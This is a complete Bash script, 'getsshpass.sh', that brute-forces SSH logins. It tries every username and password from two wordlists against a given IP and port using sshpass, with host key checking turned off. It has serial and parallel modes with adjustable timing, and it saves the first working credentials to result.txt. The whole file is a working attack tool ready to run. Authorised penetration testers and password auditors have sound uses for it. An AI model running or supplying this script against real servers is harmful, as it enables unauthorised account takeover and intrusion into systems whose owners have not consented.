#!/bin/bash

function usage {
  echo -e "Usage: $0 [OPTIONS]"
  echo "OPTIONS: "
  echo -e "   -a    IP address of SSH server"
  echo -e "   -d    TCP port 1 - 65535 of SSH server "
  echo -e "   -l    parallel dictionary attack"
  echo -e "   -n    slow down attack (parallel guessing only)"
  echo -e "         number seconds e.g. 1, 0.1, 0.01, etc."
  echo -e "   -p    path to file with passwords"
  echo -e "   -u    path to file with usernames"
  echo -e "   -v    display version"
  echo -e "   -h    display help"
 }

function version
 {
  echo -e "getsshpass.sh 0.1"
  echo -e "Copyright (C) 2016 Radovan Brezula 'brezular'"
  echo -e "License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>."
  echo -e "This is free software: you are free to change and redistribute it."
  echo -e "There is NO WARRANTY, to the extent permitted by law."
  exit
 }



function read_args {
 while getopts "a:d:n:p:u:lhv" arg; do
    case "$arg" in
       a) ip="$OPTARG";;
       d) port="$OPTARG";;
       n) nval="$OPTARG";;
       p) passlist="$OPTARG";;
       u) userlist="$OPTARG";;
       l) parallel=1;;
       v) version;;
       h) usage
          exit;;
    esac
 done
}

function check_args {
 [ -f result.txt ] && echo "File 'result.txt' exists, exiting" && exit

 type -P sshpass 1>/dev/null
 [ "$?" -ne 0 ] && echo "Binary 'sshpass' not found, exiting" && exit

 if [ -z "$ip" ]; then
    echo "IP address can't be empty, exiting"
    exit
 else
    echo "$ip" | grep -w "^[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}.[0-9]\{1,3\}$" 1>/dev/null
    [ "$?" -ne 0 ] && echo "'$ip' is not valid IP address, exiting" && exit
 fi

 [ -z "$nval" ] && nval=0.01

 if [[ "$port" =~ ^[[:digit:]]+$ ]]; then
    if ( [ "$port" -gt 65535 ] || [ "$port" -eq 0 ] ); then
       echo "TCP port has to be in range 1 - 65535"
       exit
    fi
 else
    echo "TCP port must be digit, exiting"
    exit
 fi

 [ ! -f "$passlist" ] && echo "Can't find file with list of passwords, exiting" && exit
 [ ! -f "$userlist" ] && echo "Can't find file with list of users, exiting" && exit
}

function launch_serial_attack {
 while read user; do
    while read pass; do
      echo "Trying username: '$user' and password: '$pass'"
      sshpass -p "$pass" ssh -o StrictHostKeyChecking=no -p "$port" "$user"@"$ip" exit &>/dev/null
      if [ "$?" -eq 0 ]; then
         echo "*** Attack finished! Found username is: '$user' and password: '$pass' ***" > result.txt
         cat result.txt
         exit
      fi
    done < "$passlist"
 done < "$userlist"
}

function launch_parallel_attack {
      sshpass -p "$pass" ssh -o StrictHostKeyChecking=no -p "$port" "$user"@"$ip" exit &>/dev/null
      if [ "$?" -eq 0 ]; then
         echo "*** Attack finished! Found username: '$user' and password: '$pass' ***" > result.txt
         exit
      fi
}

### BODY ###
read_args $@
check_args

if [ "$parallel" -eq 1 ]; then
      while read user; do
         while read pass; do
            if [ ! -f result.txt ]; then
               echo "Trying username: '$user' and password: '$pass'"
               launch_parallel_attack &>/dev/null &
            else
               cat result.txt
               pkill sshpass &>/dev/null
               exit
            fi
            sleep $nval
         done < "$passlist"
      done < "$userlist"
else
   launch_serial_attack
fi